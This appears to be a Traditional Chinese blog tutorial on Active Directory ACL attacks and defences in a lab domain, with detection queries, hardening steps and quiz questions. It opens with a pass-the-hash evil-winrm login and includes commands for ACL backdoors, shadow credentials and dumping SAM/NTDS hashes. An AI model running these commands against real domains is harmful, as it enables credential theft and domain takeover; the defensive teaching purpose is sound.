evil-winrm -i 192.168.139.10 \
  -u administrator \
  -H c66d72021a2d4744409969a581a1705e

image

🎉 完整的 ACL 攻擊鏈成功!從 tywin.lannister 到完全控制域控制器!

第三部分:防禦與偵測策略

3.1 ACL 攻擊的威脅等級評估

為什麼 ACL 錯誤配置如此危險?

ACL 攻擊的三大特點
├── 隱蔽性極高 → 不需要特殊工具,使用合法 LDAP 操作
├── 審計困難 → 大型環境中每天有數萬次 ACL 變更
└── 影響範圍廣 → 可能影響整個域的安全性

真實世界的 ACL 問題統計

  • 根據 Specterops 的 BloodHound 資料分析,平均每個企業環境有 200+ 條可利用的 ACL 路徑
  • 其中 85% 的路徑可在 5 步內到達域管理員
  • 95% 的 IT 管理員不知道自己環境中存在這些路徑

3.2 偵測 ACL 攻擊的關鍵指標

3.2.1 Windows 安全事件監控

事件 ID 事件名稱 偵測目標 嚴重程度
4662 An operation was performed on an object ACL 讀取/修改操作 🟠 中
4670 Permissions on an object were changed WriteDacl 攻擊 🔴 極高
4780 The ACL was set on accounts which are members of administrators groups AdminSDHolder 覆蓋 🔴 極高
5136 A directory service object was modified 屬性修改(如 msDS-KeyCredentialLink) 🟠 高
4724 An attempt was made to reset an account's password ForceChangePassword 🔴 極高
4728 A member was added to a security-enabled global group AddMember 攻擊 🟠 高

3.2.2 關鍵監控查詢

偵測 WriteDacl 攻擊

# PowerShell 查詢(在 DC 上執行)
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4670
} | Where-Object {
    $_.Message -match "WriteDacl|WriteOwner|GenericAll"
} | Format-List TimeCreated, Message

偵測 Shadow Credentials 攻擊

# 監控 msDS-KeyCredentialLink 屬性修改
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5136
} | Where-Object {
    $_.Message -match "msDS-KeyCredentialLink"
} | Format-List TimeCreated, Message

偵測群組成員異常變更

# 監控特權群組的成員變更
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4728,4732,4756
} | Where-Object {
    $_.Message -match "Domain Admins|Enterprise Admins|Schema Admins"
} | Format-List TimeCreated, Message

3.2.3 使用 SIEM 規則偵測

Splunk 查詢範例

index=windows EventCode=4670 OR EventCode=5136 OR EventCode=4724
| stats count by user dest object_name access_mask
| where count > 5
| sort -count

Elastic SIEM 規則

{
  "query": "event.code:(4670 OR 5136 OR 4724) AND winlog.event_data.ObjectName:*",
  "threshold": {
    "field": "user.name",
    "value": 3
  }
}

3.3 主動防禦措施

3.3.1 ACL 權限最佳實作

黃金準則:最小權限原則(Principle of Least Privilege)

❌ 錯誤做法
├── 將 IT 支援人員加入 Domain Admins
├── 授予 "Everyone" 群組 GenericWrite 權限
├── 使用萬用字元授予權限(如 OU=*)
└── 長期保留「臨時」權限

✅ 正確做法
├── 使用委派模型(Delegation Model)
├── 實施即時權限(Just-In-Time Access)
├── 定期審查並移除不必要的權限
└── 使用群組政策而非直接 ACL 授權

3.3.2 使用 AdminSDHolder 保護關鍵物件

確保 AdminSDHolder 機制正常運作

# 檢查 SDProp 最後執行時間
Get-ADObject "CN=AdminSDHolder,CN=System,DC=sevenkingdoms,DC=local" `
    -Properties * | Select-Object dsHeuristics

# 手動觸發 SDProp(需要 Domain Admin 權限)
# 預設每 60 分鐘自動執行一次

自訂受保護的物件

# 將自訂群組加入受保護清單
Set-ADGroup "VIP-Admins" -Replace @{adminCount=1}

3.3.3 實施 ACL 審計策略

啟用進階審計原則

# 在 GPO 中啟用
Computer Configuration 
  → Windows Settings 
  → Security Settings 
  → Advanced Audit Policy Configuration
  → DS Access
    ✓ Audit Directory Service Changes (Success, Failure)
    ✓ Audit Directory Service Access (Success, Failure)

設定特定物件的 SACL(System ACL)

# 監控 Domain Admins 群組的所有操作
$Identity = "CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local"
$Acl = Get-Acl "AD:\$Identity"

# 新增審計規則
$AuditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
    [System.Security.Principal.SecurityIdentifier]"S-1-1-0",  # Everyone
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AuditFlags]::Success,
    [System.Guid]::Empty
)

$Acl.AddAuditRule($AuditRule)
Set-Acl "AD:\$Identity" -Acl $Acl

3.3.4 定期 ACL 健康檢查

使用 BloodHound 進行防禦性分析

# 1. 定期收集資料(每週一次)
bloodhound-python -u scanner@sevenkingdoms.local -p 'password' \
  -d sevenkingdoms.local -dc kingslanding.sevenkingdoms.local \
  -c All --zip

# 2. 在 BloodHound 中執行防禦性查詢

重要的 Cypher 查詢

// 查詢所有通往 Domain Admins 的路徑
MATCH p=shortestPath((n)-[*1..]->(g:Group))
WHERE g.name =~ '(?i)domain admins.*'
  AND NOT n.name =~ '(?i)domain admins.*'
  AND NOT n.name =~ '(?i)administrator.*'
RETURN p

// 查詢所有 GenericAll 權限
MATCH p=(n)-[r:GenericAll]->(m)
WHERE n.admincount=false
RETURN p

// 查詢所有 WriteDacl 權限
MATCH p=(n)-[r:WriteDacl]->(m)
WHERE n.admincount=false
  AND NOT m.admincount=true
RETURN p

// 查詢受保護群組的例外成員
MATCH (u:User)
WHERE u.admincount=true
  AND NOT (u)-[:MemberOf*1..]->(g:Group {admincount:true})
RETURN u.name, u.admincount

3.3.5 修復常見的 ACL 錯誤配置

清理遺留的 ACL 權限

# 找出所有 adminCount=1 但不在受保護群組的使用者
$ProtectedGroups = @(
    "Domain Admins",
    "Enterprise Admins",
    "Schema Admins",
    "Administrators",
    "Account Operators"
)

Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount, memberOf | 
    Where-Object {
        $user = $_
        $inProtectedGroup = $false
        foreach ($group in $ProtectedGroups) {
            if ($user.memberOf -match $group) {
                $inProtectedGroup = $true
                break
            }
        }
        -not $inProtectedGroup
    } | 
    ForEach-Object {
        Write-Host "發現遺留的 adminCount: $($_.SamAccountName)"
        # Set-ADUser $_ -Replace @{adminCount=0}  # 取消註解以執行修復
    }

移除危險的 ACL 權限

# 移除非管理員對 Domain Admins 群組的 GenericAll 權限
$GroupDN = "CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local"
$Acl = Get-Acl "AD:\$GroupDN"

foreach ($Access in $Acl.Access) {
    if ($Access.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner") {
        Write-Host "發現危險權限: $($Access.IdentityReference) - $($Access.ActiveDirectoryRights)"
        # $Acl.RemoveAccessRule($Access)  # 取消註解以執行移除
    }
}

# Set-Acl "AD:\$GroupDN" -Acl $Acl

3.4 企業環境最佳實作建議

3.4.1 權限分層架構(Tiered Administration Model)

Tier 0:域控制器與 AD 基礎架構
├── 只有 Domain Admins 可管理
├── 使用專用的管理工作站(PAW)
└── 嚴格的網路隔離

Tier 1:伺服器與服務
├── 使用服務管理員帳號
├── 不可登入 Tier 2 設備
└── 實施 JIT 權限

Tier 2:一般使用者與工作站
├── 一般 IT 支援權限
├── 不可提升至 Tier 1/0
└── 使用委派模型

3.4.2 實施即時管理(Just-In-Time Administration)

# 使用 Azure AD Privileged Identity Management (PIM)
# 或自建解決方案:

# 臨時授予權限(8 小時後自動移除)
$User = "support-admin"
$Group = "Server-Admins"
$ExpiryTime = (Get-Date).AddHours(8)

Add-ADGroupMember -Identity $Group -Members $User

# 建立排程任務自動移除
$Trigger = New-ScheduledTaskTrigger -Once -At $ExpiryTime
$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" `
    -Argument "-Command Remove-ADGroupMember -Identity '$Group' -Members '$User' -Confirm:$false"

Register-ScheduledTask -TaskName "RemoveJITAccess_$User" `
    -Trigger $Trigger -Action $Action

3.4.3 監控工具建議

工具 用途 授權 推薦度
BloodHound ACL 路徑視覺化 開源 ⭐⭐⭐⭐⭐
PingCastle AD 健康檢查 免費版可用 ⭐⭐⭐⭐⭐
Purple Knight AD 安全評估 免費 ⭐⭐⭐⭐
Microsoft ATA/Defender for Identity 即時威脅偵測 商業授權 ⭐⭐⭐⭐⭐
Splunk/Elastic SIEM 日誌聚合與分析 商業授權 ⭐⭐⭐⭐
Varonis/Netwrix 檔案與 AD 審計 商業授權 ⭐⭐⭐⭐

3.5 事件回應流程

發現 ACL 攻擊時的處置步驟

階段 1:立即遏制(Containment)
├── 停用受影響的使用者帳號
├── 重設受影響帳號的密碼
├── 撤銷可疑的 Kerberos 票證
└── 隔離受影響的系統

階段 2:調查分析(Investigation)
├── 收集相關的安全事件日誌
├── 使用 BloodHound 重建攻擊路徑
├── 確認攻擊者的進入點
└── 評估資料外洩風險

階段 3:根除威脅(Eradication)
├── 移除惡意的 ACL 權限
├── 修復 Shadow Credentials(清理 msDS-KeyCredentialLink)
├── 移除攻擊者建立的後門帳號
└── 修補被利用的錯誤配置

階段 4:復原與強化(Recovery & Hardening)
├── 重新檢查所有 ACL 配置
├── 實施本文建議的防禦措施
├── 更新監控規則
└── 對 IT 團隊進行安全培訓

階段 5:經驗學習(Lessons Learned)
├── 撰寫事件報告
├── 更新安全政策
├── 定期演練
└── 持續改進

第四部分:小試身手 - ACL 攻擊觀念驗證

題目 1:ACL 基礎概念

情境
你正在分析一個 Active Directory 物件的安全描述符,發現以下訊息:

物件:CN=Administrator,CN=Users,DC=company,DC=local
ACE[1]:
  Trustee: IT-Support
  Access Mask: 0x00020000
  ACE Type: ACCESS_ALLOWED_ACE

問題:這個 ACE 授予 IT-Support 群組什麼權限?

A. ReadProperty - 可讀取物件屬性
B. WriteProperty - 可修改物件屬性
C. ReadControl - 可讀取安全描述符(包含 ACL)
D. WriteOwner - 可變更物件擁有者

正確答案:C

詳細解析

Access Mask 是用來表示權限的位元遮罩(Bitmask)。0x00020000 對應的權限為:

常見的 Access Mask 值
├── 0x00010000 - DELETE
├── 0x00020000 - READ_CONTROL (ReadControl)
├── 0x00040000 - WRITE_DACL (WriteDacl)
├── 0x00080000 - WRITE_OWNER (WriteOwner)
├── 0x000F01FF - GENERIC_ALL (GenericAll)
├── 0x00000010 - ADS_RIGHT_DS_WRITE_PROP (WriteProperty)
└── 0x00000020 - ADS_RIGHT_DS_READ_PROP (ReadProperty)

ReadControl 權限的意義

  • 允許讀取物件的安全描述符(Security Descriptor)
  • 包括讀取 DACL 和 SACL
  • 攻擊者可利用此權限列舉哪些使用者/群組對此物件有什麼權限
  • 為後續攻擊提供情報

為什麼其他選項錯誤

  • A (ReadProperty):Access Mask 應為 0x00000020
  • B (WriteProperty):Access Mask 應為 0x00000010
  • D (WriteOwner):Access Mask 應為 0x00080000

實務應用

# 使用 Impacket dacledit 讀取 ACL
impacket-dacledit -action 'read' \
  -target 'Administrator' \
  'company.local'/'user':'password'

題目 2:AdminSDHolder 機制

情境
你是紅隊成員,成功取得 Domain Admins 群組的 WriteDacl 權限,並為自己的帳號 hacker 新增了 GenericAll 權限。然而,60 分鐘後你發現無法再使用此權限。

問題:最可能的原因是什麼?

A. Windows Defender 偵測到攻擊並自動移除權限
B. 系統管理員發現攻擊並手動移除權限
C. AdminSDHolder 機制的 SDProp 覆蓋了你新增的 ACE
D. Kerberos 票證過期導致無法使用權限

正確答案:C

詳細解析

AdminSDHolder 運作機制

每 60 分鐘執行一次(預設)
├── SDProp 背景執行緒啟動
├── 讀取 AdminSDHolder 物件的 ACL
├── 將此 ACL 複製到所有受保護物件
│   ├── Domain Admins 群組
│   ├── Enterprise Admins 群組
│   ├── Schema Admins 群組
│   └── 其成員(adminCount=1)
└── 覆蓋任何手動修改的 ACL

受保護的群組(會被 SDProp 覆蓋)

RID 512 - Domain Admins
RID 519 - Enterprise Admins  
RID 518 - Schema Admins
RID 544 - Administrators
RID 548 - Account Operators
RID 549 - Server Operators
RID 550 - Print Operators
RID 551 - Backup Operators

為什麼攻擊失效

  1. Domain Admins 是受保護群組
  2. 你新增的 ACE 在 SDProp 執行時被覆蓋
  3. 這是一個重要的防禦機制,防止攻擊者持久化 ACL 後門

攻擊者的繞過方式

# ❌ 錯誤:在 Domain Admins 上設定後門(會被覆蓋)
dacledit -action write -rights FullControl \
  -principal hacker -target "Domain Admins"

# ✅ 正確:在非受保護的群組上設定後門
# 例如:IT-Admins(自訂群組)
dacledit -action write -rights FullControl \
  -principal hacker -target "IT-Admins"

# ✅ 或修改 AdminSDHolder 本身(需要更高權限)
dacledit -action write -rights FullControl \
  -principal hacker \
  -target "CN=AdminSDHolder,CN=System,DC=company,DC=local"

防禦者的檢查方式

# 檢查 AdminSDHolder 的 ACL
Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=company,DC=local" | 
    Format-List Access

# 檢查 SDProp 最後執行時間
Get-ADObject "CN=AdminSDHolder,CN=System,DC=company,DC=local" `
    -Properties * | Select-Object Modified

題目 3:Shadow Credentials 攻擊

情境
你對使用者 john.doe 有 GenericWrite 權限,並且目標環境有部署 AD CS(Active Directory Certificate Services)。你決定執行 Shadow Credentials 攻擊。

問題:Shadow Credentials 攻擊修改的是哪個 LDAP 屬性?

A. userAccountControl
B. servicePrincipalName
C. msDS-KeyCredentialLink
D. altSecurityIdentities

正確答案:C

詳細解析

Shadow Credentials 攻擊原理

攻擊流程
├── 1. 產生 RSA 金鑰對(公鑰 + 私鑰)
├── 2. 將公鑰包裝成 Key Credential
├── 3. 寫入目標使用者的 msDS-KeyCredentialLink 屬性
├── 4. 使用私鑰進行 PKINIT 認證(類似憑證登入)
├── 5. 取得目標使用者的 TGT
└── 6. 使用 U2U 協定取得 NT Hash

msDS-KeyCredentialLink 屬性

  • Windows Server 2016+ 引入
  • 用於 Windows Hello for Business 和無密碼認證
  • 儲存使用者的公開金鑰認證(Public Key Credentials)
  • 攻擊者可濫用此屬性新增自己的金鑰

攻擊實作

# 使用 Certipy
certipy shadow auto \
  -u attacker@company.local \
  -p 'password' \
  -account 'john.doe'

# 或使用 pywhisker
pywhisker -d company.local \
  -u attacker -p 'password' \
  --target john.doe \
  --action add

# 結果:取得 .pfx 憑證檔案和密碼
# 使用憑證認證
certipy auth -pfx john.pfx -dc-ip 10.10.10.10

為什麼其他選項錯誤

A. userAccountControl

  • 控制帳號屬性(如是否停用、密碼是否過期)
  • 可用於 Resource-Based Constrained Delegation (RBCD) 攻擊
  • 不是 Shadow Credentials 的目標屬性

B. servicePrincipalName

  • 服務主體名稱(用於 Kerberos 服務認證)
  • 可用於 KerberoastingTargeted Kerberoasting 攻擊
  • 不是 Shadow Credentials 的目標屬性

D. altSecurityIdentities

  • 用於憑證對應(Certificate Mapping)
  • 較舊的憑證認證方式
  • 不是 Shadow Credentials 使用的屬性

偵測 Shadow Credentials 攻擊

# 監控 Event ID 5136(目錄服務物件修改)
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5136
} | Where-Object {
    $_.Message -match "msDS-KeyCredentialLink"
} | Format-List TimeCreated, Message

# 列舉所有有 msDS-KeyCredentialLink 的使用者
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink | 
    Where-Object {$_.'msDS-KeyCredentialLink' -ne $null} |
    Select-Object SamAccountName, msDS-KeyCredentialLink

防禦建議

  1. 啟用 Event ID 5136 的審計
  2. 監控 msDS-KeyCredentialLink 屬性的變更
  3. 實施最小權限原則,限制 GenericWrite/GenericAll 權限
  4. 考慮停用 WHfB(如果不需要)

題目 4:BloodHound 攻擊路徑分析

情境
你在 BloodHound 中發現以下攻擊路徑:

User: alice@company.local
  → [WriteDacl] 
Group: IT-Support@company.local
  → [GenericAll]
User: backup-admin@company.local
  → [AllExtendedRights]
Group: Backup Operators@company.local
  → [MemberOf]
User: Administrator@company.local

問題:從 aliceAdministrator 需要幾個攻擊步驟?

A. 2 步
B. 3 步
C. 4 步
D. 5 步

正確答案:C

詳細解析

攻擊路徑拆解

步驟 1:alice → IT-Support (WriteDacl)
操作:使用 dacledit 給自己授予 GenericAll 權限
工具:impacket-dacledit -action write -rights FullControl \
      -principal alice -target "IT-Support"
結果:alice 對 IT-Support 群組有 GenericAll

步驟 2:alice → backup-admin (GenericAll)
操作:使用 Shadow Credentials 或 ForceChangePassword
工具:certipy shadow auto -u alice -account backup-admin
結果:取得 backup-admin 的憑證

步驟 3:backup-admin → Backup Operators (AllExtendedRights)
操作:將自己加入 Backup Operators 群組
工具:net group "Backup Operators" backup-admin /add /domain
結果:backup-admin 成為 Backup Operators 成員

步驟 4:Backup Operators → Administrator (利用 Backup 權限)
操作:利用 Backup Operators 的 SeBackupPrivilege 讀取 SAM/SYSTEM
工具:reg save HKLM\SAM sam.hive
      secretsdump -sam sam.hive -system system.hive LOCAL
結果:取得 Administrator 的 NT Hash

每個權限的利用方式

WriteDacl

# 修改目標物件的 ACL,給自己授予更高權限
impacket-dacledit -action write \
  -rights FullControl \
  -principal alice \
  -target "IT-Support" \
  'company.local/alice:password'

GenericAll

# 對使用者:Shadow Credentials 或修改密碼
certipy shadow auto \
  -u alice@company.local \
  -p password \
  -account backup-admin

# 對群組:將自己加入群組
ldeep ldap add_to_group \
  "CN=alice,..." "CN=IT-Support,..."

AllExtendedRights

# 包含所有擴展權限,如 AddMember, ForceChangePassword
net group "Backup Operators" backup-admin /add /domain

MemberOf (Backup Operators)

# 利用 SeBackupPrivilege 讀取系統檔案
# 方法 1:直接讀取 SAM
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# 方法 2:備份 NTDS.dit
wbadmin start backup -backupTarget:C:\Temp -include:C:\Windows\NTDS

為什麼是 4 步而不是其他

  • 不是 2 步:WriteDacl 本身不能直接到達 Administrator
  • 不是 3 步:需要先取得 backup-admin,再加入群組,才能利用 Backup 權限
  • 正確是 4 步:WriteDacl → GenericAll → AllExtendedRights → Backup Operators
  • 不是 5 步:不需要額外步驟

BloodHound 查詢語法

// 查詢從 alice 到 Administrator 的最短路徑
MATCH p=shortestPath((u:User {name:"ALICE@COMPANY.LOCAL"})-[*1..]->(t:User {name:"ADMINISTRATOR@COMPANY.LOCAL"}))
RETURN p

題目 5:ACL 攻擊防禦

情境
你是藍隊成員,剛發現紅隊在滲透測試中使用 ACL 攻擊成功取得域管理員權限。你需要建立長期的監控與防禦機制。

問題:以下哪個措施最不能有效偵測或防禦 ACL 攻擊?

A. 啟用 Event ID 4670(權限變更)的審計並發送至 SIEM
B. 使用 BloodHound 每週掃描一次並分析攻擊路徑
C. 將所有 IT 人員加入 Domain Admins 以統一管理權限
D. 實施即時權限(JIT)管理,限制常駐的高權限帳號

正確答案:C

詳細解析

為什麼 C 是錯誤做法

❌ 將所有 IT 人員加入 Domain Admins 的問題
├── 違反最小權限原則(Principle of Least Privilege)
├── 擴大攻擊面:任一 IT 帳號被盜就等於域管理員被盜
├── 無法區分職責:無法追蹤誰做了什麼操作
├── 增加橫向移動風險:攻擊者只要盜取一個 IT 帳號即可
└── AdminSDHolder 會保護這些帳號,反而難以偵測異常 ACL

正確的權限管理方式

✅ Tiered Administration Model(分層管理模型)
├── Tier 0:Domain Admins(只管理 DC 和 AD)
├── Tier 1:Server Admins(只管理伺服器)
└── Tier 2:Helpdesk(只管理一般使用者)

✅ Role-Based Access Control (RBAC)
├── 使用委派(Delegation)而非直接授予 DA 權限
├── 例如:授予「重設密碼」權限,而不是 GenericAll
└── 使用群組政策(GPO)管理權限

✅ Just-In-Time (JIT) Administration
├── 平時 IT 人員沒有高權限
├── 需要時透過審批流程「租借」8 小時的權限
└── 時間到自動撤銷

為什麼 A 是正確做法

✅ 啟用 Event ID 4670 的審計
├── 可偵測 WriteDacl 攻擊
├── 可偵測 WriteOwner 攻擊
└── 發送至 SIEM 可關聯分析

範例 SIEM 規則:
IF Event ID 4670 
   AND Object Type = "User" 
   AND Access Mask contains "WriteDacl"
   AND Subject != "Domain Admins"
THEN Alert: "可疑的 ACL 修改操作"

為什麼 B 是正確做法

✅ 定期使用 BloodHound 掃描
├── 可視覺化攻擊路徑
├── 可發現複雜的 ACL 鏈(如本文的 8 步攻擊)
├── 可追蹤新增的危險權限
└── 可定期生成報告給管理層

建議流程:
1. 每週執行 SharpHound 收集
2. 匯入 BloodHound 分析
3. 執行預設的危險查詢(如 Shortest Paths to Domain Admins)
4. 產生 PDF 報告
5. 修復發現的問題

為什麼 D 是正確做法

✅ 實施 JIT 管理
├── 減少常駐的高權限帳號
├── 減少 Pass-the-Hash/Pass-the-Ticket 風險
├── 每次授權都有審計記錄
└── 可與 MFA 結合

實作方式:
# 使用 Azure AD PIM(雲端)
# 或自建 PowerShell 腳本

# 授予 8 小時權限
Grant-TemporaryPermission -User "john.doe" `
  -Group "Server-Admins" `
  -Duration 8 `
  -Approver "manager@company.local" `
  -Reason "修復生產伺服器問題 #12345"

# 自動撤銷
Revoke-TemporaryPermission -User "john.doe" `
  -Group "Server-Admins"

其他重要的防禦措施

1. 使用 PingCastle 或 Purple Knight 定期健康檢查
2. 啟用 Protected Users 群組(防止委派攻擊)
3. 設定 Authentication Policies(限制高權限帳號的登入位置)
4. 部署 Microsoft Defender for Identity(即時威脅偵測)
5. 教育訓練:讓 IT 團隊理解 ACL 攻擊的風險

事件回應檢查清單

□ 檢查所有高權限群組的 ACL
□ 檢查 AdminSDHolder 的 ACL
□ 查詢所有 adminCount=1 的使用者
□ 檢查非受保護群組的危險權限(GenericAll, WriteDacl)
□ 檢查所有 msDS-KeyCredentialLink 不為空的使用者
□ 檢查最近新增的群組成員(Event ID 4728)
□ 檢查最近的密碼變更(Event ID 4724)

上一篇
AD 攻防實戰演練 Day 18:Kerberos 委派攻擊進階 - 約束委派與資源型約束委派(RBCD)完全解析
下一篇
AD 攻防實戰演練 Day 20:GPO 濫用與 LAPS 密碼提取
系列文
資安這條路:AD 攻防實戰演練20
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言